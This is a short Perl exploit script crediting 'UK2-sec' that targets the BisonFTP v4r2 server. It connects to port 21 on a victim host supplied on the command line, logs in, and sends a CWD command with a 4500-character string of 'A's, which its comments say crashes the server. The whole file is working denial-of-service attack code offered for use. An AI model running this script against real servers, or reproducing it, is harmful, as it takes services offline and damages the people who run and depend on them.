#!/usr/bin/perl

#UK2-sec presents...
#BisonFTPv4.r2 Denial of Service.
#yipee.great another DOS condition..
#Coded by:
#deadbeat
#eip@oakey.no-ip.com

#For uk2-sec ;)
#c0w_d0g, deadbeat

$victim = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];

use IO::Socket;
print "\nBisonFTPv4r2 Denial of Service\n";
print "UK2-SEC...deadbeat\n";
if(!$ARGV[2]) {
   die "Usage: perl $0 <victim> <user> <pass>\n";
}
$string = "A"x4500;

print "Connecting to $victim\n";
sleep 2;
$sox = IO::Socket::INET->new(
   Proto=>"tcp",
   PeerPort=>"21",
   PeerAddr=>"$victim"
);
sleep 1;
print "Connected..logining in now..\n";
sleep 1;
print $sox "user $user\r\n";
print $sox "pass $pass\r\n";
sleep 2;
print $sox "cwd $string\r\n";
print "Exploit sent, logging out should cause a DOS...\n";
close $sox;
print "Done...\n";